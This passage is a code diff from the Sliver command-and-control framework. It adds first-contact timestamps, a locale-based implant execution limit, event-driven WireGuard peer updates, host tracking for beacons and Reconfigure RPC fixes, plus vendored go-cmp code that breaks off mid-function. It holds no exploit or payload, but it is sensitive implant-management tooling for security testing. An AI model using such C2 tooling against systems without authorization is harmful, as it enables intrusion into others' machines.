@@ -46,6 +46,7 @@ message Session {
  // string ConfigID = 24;
  int64 PeerID = 25;
  string Locale = 26;
+  int64 FirstContact = 27;
 }

 message Beacon {
@@ -79,6 +80,7 @@ message Beacon {
  int64 TasksCountCompleted = 27;

  string Locale = 28;
+  int64 FirstContact = 29;
 }

 message Beacons {
@@ -159,6 +161,7 @@ message ImplantConfig {
  string LimitHostname = 62;
  string LimitUsername = 63;
  string LimitFileExists = 64;
+  string LimitLocale = 65;

  OutputFormat Format = 100;
  bool IsSharedLib = 101;
@@ -617,6 +620,7 @@ message Host {
  map<string, ExtensionData> ExtensionData = 5;

  string Locale = 6;
+  int64 FirstContact = 7;
 }

 message AllHosts {
@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.6
+// 	protoc-gen-go v1.27.1
+// 	protoc        v3.12.4
 // source: commonpb/common.proto

 package commonpb
@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.6
+// 	protoc-gen-go v1.27.1
+// 	protoc        v3.12.4
 // source: dnspb/dns.proto

 package dnspb
@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.6
+// 	protoc-gen-go v1.27.1
+// 	protoc        v3.12.4
 // source: rpcpb/services.proto

 package rpcpb
@@ -1,4 +1,8 @@
 // Code generated by protoc-gen-go-grpc. DO NOT EDIT.
+// versions:
+// - protoc-gen-go-grpc v1.2.0
+// - protoc             v3.12.4
+// source: rpcpb/services.proto

 package rpcpb

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.6
+// 	protoc-gen-go v1.27.1
+// 	protoc        v3.12.4
 // source: sliverpb/sliver.proto

 package sliverpb
@@ -71,7 +71,7 @@ func StartMTLSListenerJob(host string, listenPort uint16) (*core.Job, error) {

 // StartWGListenerJob - Start a WireGuard listener as a job
 func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListenPort uint16) (*core.Job, error) {
-	ln, dev, currentWGConf, err := StartWGListener(listenPort, nListenPort, keyExchangeListenPort)
+	ln, dev, _, err := StartWGListener(listenPort, nListenPort, keyExchangeListenPort)
 	if err != nil {
 		return nil, err // If we fail to bind don't setup the Job
 	}
@@ -88,42 +88,21 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
 	ticker := time.NewTicker(5 * time.Second)
 	done := make(chan bool)

-	// Every 5 seconds update the wireguard config to include new peers
-	go func(dev *device.Device, currentWGConf *bytes.Buffer) {
-		oldNumPeers := 0
-		for {
-			select {
-			case <-done:
-				return
-			case <-ticker.C:
-				currentPeers, err := certs.GetWGPeers()
-				if err != nil {
-					jobLog.Errorf("Failed to get current Wireguard Peers %s", err)
+	// Listener for new keys
+	go func(dev *device.Device) {
+		for event := range core.EventBroker.Subscribe() {
+			switch event.EventType {
+
+			case consts.WireGuardNewPeer:
+				buf := bytes.NewBuffer(nil)
+				fmt.Fprintf(buf, "%s", event.Data)
+				if err := dev.IpcSetOperation(bufio.NewReader(buf)); err != nil {
+					jobLog.Errorf("Failed to update Wireguard Config %s", err)
 					continue
 				}
-
-				if len(currentPeers) > oldNumPeers {
-					jobLog.Debugf("New WG peers. Updating Wireguard config")
-
-					oldNumPeers = len(currentPeers)
-
-					jobLog.Debugf("Old WG config for peers: %s", currentWGConf.String())
-					for k, v := range currentPeers {
-						fmt.Fprintf(currentWGConf, "public_key=%s\n", k)
-						fmt.Fprintf(currentWGConf, "allowed_ip=%s/32\n", v)
-					}
-
-					jobLog.Debugf("New WG config for peers: %s", currentWGConf.String())
-
-					if err := dev.IpcSetOperation(bufio.NewReader(currentWGConf)); err != nil {
-						jobLog.Errorf("Failed to update Wireguard Config %s", err)
-						continue
-					}
-					jobLog.Debugf("Successfully updated Wireguard config")
-				}
 			}
 		}
-	}(dev, currentWGConf)
+	}(dev)

 	go func() {
 		<-job.JobCtrl
@@ -21,7 +21,10 @@ package certs
 import (
 	"encoding/hex"
 	"errors"
+	"fmt"

+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/server/core"
 	"github.com/bishopfox/sliver/server/db"
 	"github.com/bishopfox/sliver/server/db/models"
 	"github.com/bishopfox/sliver/server/log"
@@ -147,6 +150,11 @@ func saveWGKeys(isPeer bool, wgPeerTunIP string, privKey string, pubKey string)
 		}
 		result = dbSession.Create(&wgKeysModel)
 	}
+	core.EventBroker.Publish(core.Event{
+		EventType: consts.WireGuardNewPeer,
+		Data: []byte(fmt.Sprintf("public_key=%s\nallowed_ip=%s/32\n", pubKey, wgPeerTunIP)),
+	})
+

 	return result.Error
 }
@@ -18,6 +18,10 @@ package core
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

+import (
+	"github.com/bishopfox/sliver/server/db/models"
+)
+
 const (
 	// Size is arbitrary, just want to avoid weird cases where we'd block on channel sends
 	eventBufSize = 5
@@ -29,6 +33,7 @@ type Event struct {
 	Session *Session
 	Job     *Job
 	Client  *Client
+	Beacon  *models.Beacon

 	EventType string

@@ -39,6 +39,10 @@ func StartEventAutomation() {
 		for event := range EventBroker.Subscribe() {
 			switch event.EventType {

+			case consts.BeaconRegisteredEvent:
+				if event.Beacon != nil {
+					hostsBeaconCallback(event.Beacon)
+				}
 			case consts.SessionOpenedEvent:
 				if event.Session != nil {
 					hostsSessionCallback(event.Session)
@@ -76,3 +80,31 @@ func hostsSessionCallback(session *Session) {
 		}
 	}
 }
+
+// Triggered on new beacon events, checks to see if the host is in
+// the database and adds it if not.
+func hostsBeaconCallback(beacon *models.Beacon) {
+	coreLog.Debugf("Hosts beacon callback for %v", beacon.UUID)
+	dbSession := db.Session()
+	host, err := db.HostByHostUUID(beacon.UUID.String())
+	coreLog.Debugf("Hosts query result: %v %v", host, err)
+	if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) {
+		coreLog.Error(err)
+		return
+	}
+	if errors.Is(err, gorm.ErrRecordNotFound) {
+		coreLog.Infof("Beacon %v is from a new host", beacon.ID)
+		err := dbSession.Create(&models.Host{
+			HostUUID:      uuid.FromStringOrNil(beacon.UUID.String()),
+			Hostname:      beacon.Hostname,
+			OSVersion:     beacon.OS,
+			Locale:        beacon.Locale,
+			IOCs:          []models.IOC{},
+			ExtensionData: []models.ExtensionData{},
+		}).Error
+		if err != nil {
+			coreLog.Error(err)
+			return
+		}
+	}
+}
@@ -73,6 +73,7 @@ type Session struct {
 	ConfigID          string
 	PeerID            int64
 	Locale            string
+	FirstContact      int64
 }

 // LastCheckin - Get the last time a session message was received
@@ -138,6 +139,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
 		Burned:            s.Burned,
 		PeerID:            s.PeerID,
 		Locale:            s.Locale,
+		FirstContact:      s.FirstContact,
 	}
 }

@@ -244,8 +246,9 @@ func (s *sessions) Remove(sessionID string) {
 func NewSession(implantConn *ImplantConnection) *Session {
 	implantConn.UpdateLastMessage()
 	return &Session{
-		ID:         nextSessionID(),
-		Connection: implantConn,
+		ID:           nextSessionID(),
+		Connection:   implantConn,
+		FirstContact: time.Now().Unix(),
 	}
 }

@@ -93,6 +93,7 @@ func (b *Beacon) ToProtobuf() *clientpb.Beacon {
 		Jitter:            b.Jitter,
 		NextCheckin:       b.NextCheckin,
 		Locale:            b.Locale,
+		FirstContact:      b.CreatedAt.Unix(),
 	}
 }

@@ -58,6 +58,7 @@ func (h *Host) ToProtobuf() *clientpb.Host {
 		Locale:        h.Locale,
 		IOCs:          h.iocsToProtobuf(),
 		ExtensionData: h.extensionDataToProtobuf(),
+		FirstContact:  h.CreatedAt.Unix(),
 	}
 }

@@ -115,6 +115,7 @@ type ImplantConfig struct {
 	LimitUsername     string
 	LimitDatetime     string
 	LimitFileExists   string
+	LimitLocale       string

 	// Output Format
 	Format clientpb.OutputFormat
@@ -168,6 +169,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
 		LimitHostname:     ic.LimitHostname,
 		LimitUsername:     ic.LimitUsername,
 		LimitFileExists:   ic.LimitFileExists,
+		LimitLocale:       ic.LimitLocale,

 		IsSharedLib:       ic.IsSharedLib,
 		IsService:         ic.IsService,
@@ -164,6 +164,7 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
 	cfg.LimitUsername = pbConfig.LimitUsername
 	cfg.LimitHostname = pbConfig.LimitHostname
 	cfg.LimitFileExists = pbConfig.LimitFileExists
+	cfg.LimitLocale = pbConfig.LimitLocale

 	cfg.Format = pbConfig.Format
 	cfg.IsSharedLib = pbConfig.IsSharedLib
@@ -95,6 +95,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
 	core.EventBroker.Publish(core.Event{
 		EventType: consts.BeaconRegisteredEvent,
 		Data:      eventData,
+		Beacon:    beacon,
 	})

 	go auditLogBeacon(beacon, beaconReg.Register)
@@ -244,6 +244,7 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
 			Data: tunnelClose,
 		}
 		cancelContext()
+		return nil
 	}

 	if conn, ok := dst.(*net.TCPConn); ok {
@@ -32,6 +32,10 @@ const maxNameLength = 32

 // Reconfigure - Reconfigure a beacon/session
 func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
+	// We have to preserve these because GenericHandler clears them in req.Request
+	sessionID := req.Request.SessionID
+	beaconID := req.Request.BeaconID
+
 	resp := &sliverpb.Reconfigure{Response: &commonpb.Response{}}
 	err := rpc.GenericHandler(req, resp)
 	if err != nil {
@@ -39,11 +43,35 @@ func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq
 	}

 	// Successfully execute command, update server's info on reconnect interval
-	if req.Request.SessionID != "" {
-		session := core.Sessions.Get(req.Request.SessionID)
+	if sessionID != "" {
+		session := core.Sessions.Get(sessionID)
+		if session == nil {
+			return nil, ErrInvalidSessionID
+		}
 		if req.ReconnectInterval != 0 {
 			session.ReconnectInterval = req.ReconnectInterval
 		}
+		err = db.Session().Save(session).Error
+		if err != nil {
+			return nil, err
+		}
+	} else if beaconID != "" {
+		beacon, err := db.BeaconByID(beaconID)
+		if err != nil || beacon == nil {
+			return nil, ErrInvalidBeaconID
+		}
+		if req.BeaconInterval != 0 {
+			beacon.Interval = req.BeaconInterval
+		}
+		if req.BeaconJitter != 0 {
+			beacon.Jitter = req.BeaconJitter
+		}
+		err = db.Session().Save(beacon).Error
+		if err != nil {
+			return nil, err
+		}
+	} else {
+		return nil, ErrMissingRequestField
 	}
 	return resp, nil
 }
@@ -0,0 +1,27 @@
+Copyright (c) 2017 The Go Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
@@ -0,0 +1,667 @@
+// Copyright 2017, The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package cmp determines equality of values.
+//
+// This package is intended to be a more powerful and safer alternative to
+// reflect.DeepEqual for comparing whether two values are semantically equal.
+// It is intended to only be used in tests, as performance is not a goal and
+// it may panic if it cannot compare the values. Its propensity towards
+// panicking means that its unsuitable for production environments where a
+// spurious panic may be fatal.
+//
+// The primary features of cmp are:
+//
+// • When the default behavior of equality does not suit the needs of the test,
+// custom equality functions can override the equality operation.
+// For example, an equality function may report floats as equal so long as they
+// are within some tolerance of each other.
+//
+// • Types that have an Equal method may use that method to determine equality.
+// This allows package authors to determine the equality operation for the types
+// that they define.
+//
+// • If no custom equality functions are used and no Equal method is defined,
+// equality is determined by recursively comparing the primitive kinds on both
+// values, much like reflect.DeepEqual. Unlike reflect.DeepEqual, unexported
+// fields are not compared by default; they result in panics unless suppressed
+// by using an Ignore option (see cmpopts.IgnoreUnexported) or explicitly
+// compared using the Exporter option.
+package cmp
+
+import (
+	"fmt"
+	"reflect"
+	"strings"
+
+	"github.com/google/go-cmp/cmp/internal/diff"
+	"github.com/google/go-cmp/cmp/internal/function"
+	"github.com/google/go-cmp/cmp/internal/value"
+)
+
+// TODO(≥go1.18): Use any instead of interface{}.
+
+// Equal reports whether x and y are equal by recursively applying the
+// following rules in the given order to x and y and all of their sub-values:
+//
+// • Let S be the set of all Ignore, Transformer, and Comparer options that
+// remain after applying all path filters, value filters, and type filters.
+// If at least one Ignore exists in S, then the comparison is ignored.
+// If the number of Transformer and Comparer options in S is greater than one,
+// then Equal panics because it is ambiguous which option to use.
+// If S contains a single Transformer, then use that to transform the current
+// values and recursively call Equal on the output values.
+// If S contains a single Comparer, then use that to compare the current values.
+// Otherwise, evaluation proceeds to the next rule.
+//
+// • If the values have an Equal method of the form "(T) Equal(T) bool" or
+// "(T) Equal(I) bool" where T is assignable to I, then use the result of
+// x.Equal(y) even if x or y is nil. Otherwise, no such method exists and
+// evaluation proceeds to the next rule.
+//
+// • Lastly, try to compare x and y based on their basic kinds.
+// Simple kinds like booleans, integers, floats, complex numbers, strings, and
+// channels are compared using the equivalent of the == operator in Go.
+// Functions are only equal if they are both nil, otherwise they are unequal.
+//
+// Structs are equal if recursively calling Equal on all fields report equal.
+// If a struct contains unexported fields, Equal panics unless an Ignore option
+// (e.g., cmpopts.IgnoreUnexported) ignores that field or the Exporter option
+// explicitly permits comparing the unexported field.
+//
+// Slices are equal if they are both nil or both non-nil, where recursively
+// calling Equal on all non-ignored slice or array elements report equal.
+// Empty non-nil slices and nil slices are not equal; to equate empty slices,
+// consider using cmpopts.EquateEmpty.
+//
+// Maps are equal if they are both nil or both non-nil, where recursively
+// calling Equal on all non-ignored map entries report equal.
+// Map keys are equal according to the == operator.
+// To use custom comparisons for map keys, consider using cmpopts.SortMaps.
+// Empty non-nil maps and nil maps are not equal; to equate empty maps,
+// consider using cmpopts.EquateEmpty.
+//
+// Pointers and interfaces are equal if they are both nil or both non-nil,
+// where they have the same underlying concrete type and recursively
+// calling Equal on the underlying values reports equal.
+//
+// Before recursing into a pointer, slice element, or map, the current path
+// is checked to detect whether the address has already been visited.
+// If there is a cycle, then the pointed at values are considered equal
+// only if both addresses were previously visited in the same path step.
+func Equal(x, y interface{}, opts ...Option) bool {
+	s := newState(opts)
+	s.compareAny(rootStep(x, y))
+	return s.result.Equal()
+}
+
+// Diff returns a human-readable report of the differences between two values:
+// y - x. It returns an empty string if and only if Equal returns true for the
+// same input values and options.
+//
+// The output is displayed as a literal in pseudo-Go syntax.
+// At the start of each line, a "-" prefix indicates an element removed from x,
+// a "+" prefix to indicates an element added from y, and the lack of a prefix
+// indicates an element common to both x and y. If possible, the output
+// uses fmt.Stringer.String or error.Error methods to produce more humanly
+// readable outputs. In such cases, the string is prefixed with either an
+// 's' or 'e' character, respectively, to indicate that the method was called.
+//
+// Do not depend on this output being stable. If you need the ability to
+// programmatically interpret the difference, consider using a custom Reporter.
+func Diff(x, y interface{}, opts ...Option) string {
+	s := newState(opts)
+
+	// Optimization: If there are no other reporters, we can optimize for the
+	// common case where the result is equal (and thus no reported difference).
+	// This avoids the expensive construction of a difference tree.
+	if len(s.reporters) == 0 {
+		s.compareAny(rootStep(x, y))
+		if s.result.Equal() {
+			return ""
+		}
+		s.result = diff.Result{} // Reset results
+	}
+
+	r := new(defaultReporter)
+	s.reporters = append(s.reporters, reporter{r})
+	s.compareAny(rootStep(x, y))
+	d := r.String()
+	if (d == "") != s.result.Equal() {
+		panic("inconsistent difference and equality results")
+	}
+	return d
+}
+
+// rootStep constructs the first path step. If x and y have differing types,
+// then they are stored within an empty interface type.
+func rootStep(x, y interface{}) PathStep {
+	vx := reflect.ValueOf(x)
+	vy := reflect.ValueOf(y)
+
+	// If the inputs are different types, auto-wrap them in an empty interface
+	// so that they have the same parent type.
+	var t reflect.Type
+	if !vx.IsValid() || !vy.IsValid() || vx.Type() != vy.Type() {
+		t = reflect.TypeOf((*interface{})(nil)).Elem()
+		if vx.IsValid() {
+			vvx := reflect.New(t).Elem()
+			vvx.Set(vx)
+			vx = vvx
+		}
+		if vy.IsValid() {
+			vvy := reflect.New(t).Elem()
+			vvy.Set(vy)
+			vy = vvy
+		}
+	} else {
+		t = vx.Type()
+	}
+
+	return &pathStep{t, vx, vy}
+}
+
+type state struct {
+	// These fields represent the "comparison state".
+	// Calling statelessCompare must not result in observable changes to these.
+	result    diff.Result // The current result of comparison
+	curPath   Path        // The current path in the value tree
+	curPtrs   pointerPath // The current set of visited pointers
+	reporters []reporter  // Optional reporters
+
+	// recChecker checks for infinite cycles applying the same set of
+	// transformers upon the output of itself.
+	recChecker recChecker
+
+	// dynChecker triggers pseudo-random checks for option correctness.
+	// It is safe for statelessCompare to mutate this value.
+	dynChecker dynChecker
+
+	// These fields, once set by processOption, will not change.
+	exporters []exporter // List of exporters for structs with unexported fields
+	opts      Options    // List of all fundamental and filter options
+}
+
+func newState(opts []Option) *state {
+	// Always ensure a validator option exists to validate the inputs.
+	s := &state{opts: Options{validator{}}}
+	s.curPtrs.Init()
+	s.processOption(Options(opts))
+	return s
+}
+
+func (s *state) processOption(opt Option) {
+	switch opt := opt.(type) {
+	case nil:
+	case Options:
+		for _, o := range opt {
+			s.processOption(o)
+		}
+	case coreOption:
+		type filtered interface {
+			isFiltered() bool
+		}
+		if fopt, ok := opt.(filtered); ok && !fopt.isFiltered() {
+			panic(fmt.Sprintf("cannot use an unfiltered option: %v", opt))
+		}
+		s.opts = append(s.opts, opt)
+	case exporter:
+		s.exporters = append(s.exporters, opt)
+	case reporter:
+		s.reporters = append(s.reporters, opt)
+	default:
+		panic(fmt.Sprintf("unknown option %T", opt))
+	}
+}
+
+// statelessCompare compares two values and returns the result.
+// This function is stateless in that it does not alter the current result,
+// or output to any registered reporters.
+func (s *state) statelessCompare(step PathStep) diff.Result {
+	// We do not save and restore curPath and curPtrs because all of the
+	// compareX methods should properly push and pop from them.
+	// It is an implementation bug if the contents of the paths differ from
+	// when calling this function to when returning from it.
+
+	oldResult, oldReporters := s.result, s.reporters
+	s.result = diff.Result{} // Reset result
+	s.reporters = nil        // Remove reporters to avoid spurious printouts
+	s.compareAny(step)
+	res := s.result
+	s.result, s.reporters = oldResult, oldReporters
+	return res
+}
+
+func (s *state) compareAny(step PathStep) {
+	// Update the path stack.
+	s.curPath.push(step)
+	defer s.curPath.pop()
+	for _, r := range s.reporters {
+		r.PushStep(step)
+		defer r.PopStep()
+	}
+	s.recChecker.Check(s.curPath)
+
+	// Cycle-detection for slice elements (see NOTE in compareSlice).
+	t := step.Type()
+	vx, vy := step.Values()
+	if si, ok := step.(SliceIndex); ok && si.isSlice && vx.IsValid() && vy.IsValid() {
+		px, py := vx.Addr(), vy.Addr()
+		if eq, visited := s.curPtrs.Push(px, py); visited {
+			s.report(eq, reportByCycle)
+			return
+		}
+		defer s.curPtrs.Pop(px, py)
+	}
+
+	// Rule 1: Check whether an option applies on this node in the value tree.
+	if s.tryOptions(t, vx, vy) {
+		return
+	}
+
+	// Rule 2: Check whether the type has a valid Equal method.
+	if s.tryMethod(t, vx, vy) {
+		return
+	}
+
+	// Rule 3: Compare based on the underlying kind.
+	switch t.Kind() {
+	case reflect.Bool:
+		s.report(vx.Bool() == vy.Bool(), 0)
+	case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
+		s.report(vx.Int() == vy.Int(), 0)
+	case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
+		s.report(vx.Uint() == vy.Uint(), 0)
+	case reflect.Float32, reflect.Float64:
+		s.report(vx.Float() == vy.Float(), 0)
+	case reflect.Complex64, reflect.Complex128:
+		s.report(vx.Complex() == vy.Complex(), 0)
+	case reflect.String:
+		s.report(vx.String() == vy.String(), 0)
+	case reflect.Chan, reflect.UnsafePointer:
+		s.report(vx.Pointer() == vy.Pointer(), 0)
+	case reflect.Func:
+		s.report(vx.IsNil() && vy.IsNil(), 0)
+	case reflect.Struct:
+		s.compareStruct(t, vx, vy)
+	case reflect.Slice, reflect.Array:
+		s.compareSlice(t, vx, vy)
+	case reflect.Map:
+		s.compareMap(t, vx, vy)
+	case reflect.Ptr:
+		s.comparePtr(t, vx, vy)
+	case reflect.Interface:
+		s.compareInterface(t, vx, vy)
+	default:
+		panic(fmt.Sprintf("%v kind not handled", t.Kind()))
+	}
+}
+
+func (s *state) tryOptions(t reflect.Type, vx, vy reflect.Value) bool {
+	// Evaluate all filters and apply the remaining options.
+	if opt := s.opts.filter(s, t, vx, vy); opt != nil {
+		opt.apply(s, vx, vy)
+		return true
+	}
+	return false
+}
+
+func (s *state) tryMethod(t reflect.Type, vx, vy reflect.Value) bool {
+	// Check if this type even has an Equal method.
+	m, ok := t.MethodByName("Equal")
+	if !ok || !function.IsType(m.Type, function.EqualAssignable) {
+		return false
+	}
+
+	eq := s.callTTBFunc(m.Func, vx, vy)
+	s.report(eq, reportByMethod)
+	return true
+}
+
+func (s *state) callTRFunc(f, v reflect.Value, step Transform) reflect.Value {
+	if !s.dynChecker.Next() {
+		return f.Call([]reflect.Value{v})[0]
+	}
+
+	// Run the function twice and ensure that we get the same results back.
+	// We run in goroutines so that the race detector (if enabled) can detect
+	// unsafe mutations to the input.
+	c := make(chan reflect.Value)
+	go detectRaces(c, f, v)
+	got := <-c
+	want := f.Call([]reflect.Value{v})[0]
+	if step.vx, step.vy = got, want; !s.statelessCompare(step).Equal() {
+		// To avoid false-positives with non-reflexive equality operations,
+		// we sanity check whether a value is equal to itself.
+		if step.vx, step.vy = want, want; !s.statelessCompare(step).Equal() {
+			return want
+		}
+		panic(fmt.Sprintf("non-deterministic function detected: %s", function.NameOf(f)))
+	}
+	return want
+}
+
+func (s *state) callTTBFunc(f, x, y reflect.Value) bool {
+	if !s.dynChecker.Next() {
+		return f.Call([]reflect.Value{x, y})[0].Bool()
+	}
+
+	// Swapping the input arguments is sufficient to check that
+	// f is symmetric and deterministic.
+	// We run in goroutines so that the race detector (if enabled) can detect
+	// unsafe mutations to the input.
+	c := make(chan reflect.Value)
+	go detectRaces(c, f, y, x)
+	got := <-c
+	want := f.Call([]reflect.Value{x, y})[0].Bool()
+	if !got.IsValid() || got.Bool() != want {
+		panic(fmt.Sprintf("non-deterministic or non-symmetric function detected: %s", function.NameOf(f)))
+	}
+	return want
+}
+
+func detectRaces(c chan<- reflect.Value, f reflect.Value, vs ...reflect.Value) {
+	var ret reflect.Value
+	defer func() {
+		recover() // Ignore panics, let the other call to f panic instead
+		c <- ret
+	}()
+	ret = f.Call(vs)[0]
+}
+
+func (s *state) compareStruct(t reflect.Type, vx, vy reflect.Value) {
+	var addr bool
+	var vax, vay reflect.Value // Addressable versions of vx and vy
+
+	var mayForce, mayForceInit bool
+	step := StructField{&structField{}}
+	for i := 0; i < t.NumField(); i++ {
+		step.typ = t.Field(i).Type
+		step.vx = vx.Field(i)
+		step.vy = vy.Field(i)
+		step.name = t.Field(i).Name
+		step.idx = i
+		step.unexported = !isExported(step.name)
+		if step.unexported {
+			if step.name == "_" {
+				continue
+			}
+			// Defer checking of unexported fields until later to give an
+			// Ignore a chance to ignore the field.
+			if !vax.IsValid() || !vay.IsValid() {
+				// For retrieveUnexportedField to work, the parent struct must
+				// be addressable. Create a new copy of the values if
+				// necessary to make them addressable.
+				addr = vx.CanAddr() || vy.CanAddr()
+				vax = makeAddressable(vx)
+				vay = makeAddressable(vy)
+			}
+			if !mayForceInit {
+				for _, xf := range s.exporters {
+					mayForce = mayForce || xf(t)
+				}
+				mayForceInit = true
+			}
+			step.mayForce = mayForce
+			step.paddr = addr
+			step.pvx = vax
+			step.pvy = vay
+			step.field = t.Field(i)
+		}
+		s.compareAny(step)
+	}
+}
+
+func (s *state) compareSlice(t reflect.Type, vx, vy reflect.Value) {
+	isSlice := t.Kind() == reflect.Slice
+	if isSlice && (vx.IsNil() || vy.IsNil()) {
+		s.report(vx.IsNil() && vy.IsNil(), 0)
+		return
+	}
+
+	// NOTE: It is incorrect to call curPtrs.Push on the slice header pointer
+	// since slices represents a list of pointers, rather than a single pointer.
+	// The pointer checking logic must be handled on a per-element basis
+	// in compareAny.
+	//
+	// A slice header (see reflect.SliceHeader) in Go is a tuple of a starting
+	// pointer P, a length N, and a capacity C. Supposing each slice element has
+	// a memory size of M, then the slice is equivalent to the list of pointers:
+	//	[P+i*M for i in range(N)]
+	//
+	// For example, v[:0] and v[:1] are slices with the same starting pointer,
+	// but they are clearly different values. Using the slice pointer alone
+	// violates the assumption that equal pointers implies equal values.
+
+	step := SliceIndex{&sliceIndex{pathStep: pathStep{typ: t.Elem()}, isSlice: isSlice}}
+	withIndexes := func(ix, iy int) SliceIndex {
+		if ix >= 0 {
+			step.vx, step.xkey = vx.Index(ix), ix
+		} else {
+			step.vx, step.xkey = reflect.Value{}, -1
+		}
+		if iy >= 0 {
+			step.vy, step.ykey = vy.Index(iy), iy
+		} else {
+			step.vy, step.ykey = reflect.Value{}, -1
+		}
+		return step
+	}
+
+	// Ignore options are able to ignore missing elements in a slice.
+	// However, detecting these reliably requires an optimal differencing
+	// algorithm, for which diff.Difference is not.
+	//
+	// Instead, we first iterate through both slices to detect which elements
+	// would be ignored if standing alone. The index of non-discarded elements
+	// are stored in a separate slice, which diffing is then performed on.
+	var indexesX, indexesY []int
+	var ignoredX, ignoredY []bool
+	for ix := 0; ix < vx.Len(); ix++ {
+		ignored := s.statelessCompare(withIndexes(ix, -1)).NumDiff == 0
+		if !ignored {
+			indexesX = append(indexesX, ix)
+		}
+		ignoredX = append(ignoredX, ignored)
+	}
+	for iy := 0; iy < vy.Len(); iy++ {
+		ignored := s.statelessCompare(withIndexes(-1, iy)).NumDiff == 0
+		if !ignored {
+			indexesY = append(indexesY, iy)
+		}
+		ignoredY = append(ignoredY, ignored)
+	}
+
+	// Compute an edit-script for slices vx and vy (excluding ignored elements).
+	edits := diff.Difference(len(indexesX), len(indexesY), func(ix, iy int) diff.Result {
+		return s.statelessCompare(withIndexes(indexesX[ix], indexesY[iy]))
+	})
+
+	// Replay the ignore-scripts and the edit-script.
+	var ix, iy int
+	for ix < vx.Len() || iy < vy.Len() {
+		var e diff.EditType
+		switch {
+		case ix < len(ignoredX) && ignoredX[ix]:
+			e = diff.UniqueX
+		case iy < len(ignoredY) && ignoredY[iy]:
+			e = diff.UniqueY
+		default:
+			e, edits = edits[0], edits[1:]
+		}
+		switch e {
+		case diff.UniqueX:
+			s.compareAny(withIndexes(ix, -1))
+			ix++
+		case diff.UniqueY:
+			s.compareAny(withIndexes(-1, iy))
+			iy++
+		default:
+			s.compareAny(withIndexes(ix, iy))
+			ix++
+			iy++
+		}
+	}
+}
+
+func (s *state) compareMap(t reflect.Type, vx, vy reflect.Value) {
+	if vx.IsNil() || vy.IsNil() {
+		s.report(vx.IsNil() && vy.IsNil(), 0)
+		return
+	}
+
+	// Cycle-detection for maps.
+	if eq, visited := s.curPtrs.Push(vx, vy); visited {
+		s.report(eq, reportByCycle)
+		return
+	}
+	defer s.curPtrs.Pop(vx, vy)
+
+	// We combine and sort the two map keys so that we can perform the
+	// comparisons in a deterministic order.
+	step := MapIndex{&mapIndex{pathStep: pathStep{typ: t.Elem()}}}
+	for _, k := range value.SortKeys(append(vx.MapKeys(), vy.MapKeys()...)) {
+		step.vx = vx.MapIndex(k)
+		step.vy = vy.MapIndex(k)
+		step.key = k
+		if !step.vx.IsValid() && !step.vy.IsValid() {
+			// It is possible for both vx and vy to be invalid if the
+			// key contained a NaN value in it.
+			//
+			// Even with the ability to retrieve NaN keys in Go 1.12,
+			// there still isn't a sensible way to compare the values since
+			// a NaN key may map to multiple unordered values.
+			// The most reasonable way to compare NaNs would be to compare the
+			// set of values. However, this is impossible to do efficiently
+			// since set equality is provably an O(n^2) operation given only
+			// an Equal function. If we had a Less function or Hash function,
+			// this could be done in O(n*log(n)) or O(n), respectively.
+			//
+			// Rather than adding complex logic to deal with NaNs, make it
+			// the user's responsibility to compare such obscure maps.
+			const help = "consider providing a Comparer to compare the map"
+			panic(fmt.Sprintf("%#v has map key with NaNs\n%s", s.curPath, help))
+		}
+		s.compareAny(step)
